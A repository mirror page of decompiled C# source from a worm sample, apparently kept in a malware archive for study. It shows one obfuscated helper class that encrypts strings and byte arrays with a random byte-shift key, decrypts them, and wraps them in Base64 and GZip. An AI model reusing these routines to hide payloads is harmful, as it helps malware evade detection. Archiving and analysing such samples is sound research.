mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
135 lines
5.0 KiB
C#
135 lines
5.0 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Ҧ߲๒ʽ໙ୄᴘ.ᤨᔾዔ
|
|||
|
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
|
|||
|
|
|||
|
using System;
|
|||
|
using System.Collections.Generic;
|
|||
|
using System.IO;
|
|||
|
using System.IO.Compression;
|
|||
|
using System.Text;
|
|||
|
|
|||
|
namespace Ҧ߲๒ʽ໙ୄᴘ
|
|||
|
{
|
|||
|
internal class \u1928ᔾዔ
|
|||
|
{
|
|||
|
public static byte[] ᅀძṶၠ(byte[] _param0, bool _param1)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
int num = new Random().Next(-2000000000, 2000000000);
|
|||
|
for (int index = 0; index < _param0.Length; ++index)
|
|||
|
_param0[index] = (_param0[index] += (byte) num);
|
|||
|
List<byte> byteList = new List<byte>();
|
|||
|
byteList.AddRange((IEnumerable<byte>) _param0);
|
|||
|
byte[] bytes = BitConverter.GetBytes(num);
|
|||
|
byteList.InsertRange(byteList.Count / 2, (IEnumerable<byte>) bytes);
|
|||
|
byte[] array = byteList.ToArray();
|
|||
|
byteList.Clear();
|
|||
|
return _param1 ? Encoding.ASCII.GetBytes(Convert.ToBase64String(array)) : array;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
return (byte[]) null;
|
|||
|
}
|
|||
|
|
|||
|
public static byte[] ᖝሇᬐ\u09D1য়᪷(byte[] _param0, bool ཝݾᕉਚ)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
List<byte> byteList1 = new List<byte>(ཝݾᕉਚ ? (IEnumerable<byte>) Convert.FromBase64String(Encoding.ASCII.GetString(_param0)) : (IEnumerable<byte>) _param0);
|
|||
|
int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0);
|
|||
|
byteList1.RemoveRange((byteList1.Count - 4) / 2, 4);
|
|||
|
for (int index1 = 0; index1 < byteList1.Count; ++index1)
|
|||
|
{
|
|||
|
List<byte> byteList2;
|
|||
|
int index2;
|
|||
|
byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32);
|
|||
|
}
|
|||
|
byte[] array = byteList1.ToArray();
|
|||
|
byteList1.Clear();
|
|||
|
return array;
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
return (byte[]) null;
|
|||
|
}
|
|||
|
|
|||
|
public static string յ(string ڝ, bool _param1)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
int num = new Random().Next(-2000000000, 2000000000);
|
|||
|
byte[] bytes1 = Encoding.GetEncoding(1252).GetBytes(ڝ);
|
|||
|
for (int index = 0; index < bytes1.Length; ++index)
|
|||
|
bytes1[index] += (byte) num;
|
|||
|
List<byte> byteList = new List<byte>();
|
|||
|
byteList.AddRange((IEnumerable<byte>) bytes1);
|
|||
|
byte[] bytes2 = BitConverter.GetBytes(num);
|
|||
|
byteList.InsertRange(byteList.Count / 2, (IEnumerable<byte>) bytes2);
|
|||
|
byte[] array = byteList.ToArray();
|
|||
|
byteList.Clear();
|
|||
|
return _param1 ? Convert.ToBase64String(array) : Encoding.GetEncoding(1252).GetString(array);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
return string.Empty;
|
|||
|
}
|
|||
|
|
|||
|
public static string ᶽ\u005B\u0E8EЇᘹഏಔভ(string ޅਜ਼ႁ, bool _param1)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
List<byte> byteList1 = new List<byte>(_param1 ? (IEnumerable<byte>) Convert.FromBase64String(ޅਜ਼ႁ) : (IEnumerable<byte>) Encoding.GetEncoding(1252).GetBytes(ޅਜ਼ႁ));
|
|||
|
int int32 = BitConverter.ToInt32(byteList1.GetRange((byteList1.Count - 4) / 2, 4).ToArray(), 0);
|
|||
|
byteList1.RemoveRange((byteList1.Count - 4) / 2, 4);
|
|||
|
for (int index1 = 0; index1 < byteList1.Count; ++index1)
|
|||
|
{
|
|||
|
List<byte> byteList2;
|
|||
|
int index2;
|
|||
|
byteList1[index1] = (byteList2 = byteList1)[index2 = index1] = (byte) ((uint) byteList2[index2] - (uint) (byte) int32);
|
|||
|
}
|
|||
|
byte[] array = byteList1.ToArray();
|
|||
|
byteList1.Clear();
|
|||
|
return Encoding.GetEncoding(1252).GetString(array);
|
|||
|
}
|
|||
|
catch
|
|||
|
{
|
|||
|
}
|
|||
|
return string.Empty;
|
|||
|
}
|
|||
|
|
|||
|
public static byte[] \u1CEDኰҁலኘᜉവን(byte[] ᓀƆ͟ᅖ)
|
|||
|
{
|
|||
|
MemoryStream memoryStream = new MemoryStream();
|
|||
|
using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true))
|
|||
|
gzipStream.Write(ᓀƆ͟ᅖ, 0, ᓀƆ͟ᅖ.Length);
|
|||
|
memoryStream.Position = 0L;
|
|||
|
byte[] numArray = new byte[memoryStream.Length];
|
|||
|
memoryStream.Read(numArray, 0, numArray.Length);
|
|||
|
byte[] dst = new byte[numArray.Length + 4];
|
|||
|
Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 4, numArray.Length);
|
|||
|
Buffer.BlockCopy((Array) BitConverter.GetBytes(ᓀƆ͟ᅖ.Length), 0, (Array) dst, 0, 4);
|
|||
|
return dst;
|
|||
|
}
|
|||
|
|
|||
|
public static byte[] \u0378ઙ᭱ᰤᱩሾལ(byte[] _param0)
|
|||
|
{
|
|||
|
using (MemoryStream memoryStream = new MemoryStream())
|
|||
|
{
|
|||
|
int int32 = BitConverter.ToInt32(_param0, 0);
|
|||
|
memoryStream.Write(_param0, 4, _param0.Length - 4);
|
|||
|
byte[] buffer = new byte[int32];
|
|||
|
memoryStream.Position = 0L;
|
|||
|
using (GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress))
|
|||
|
gzipStream.Read(buffer, 0, buffer.Length);
|
|||
|
return buffer;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|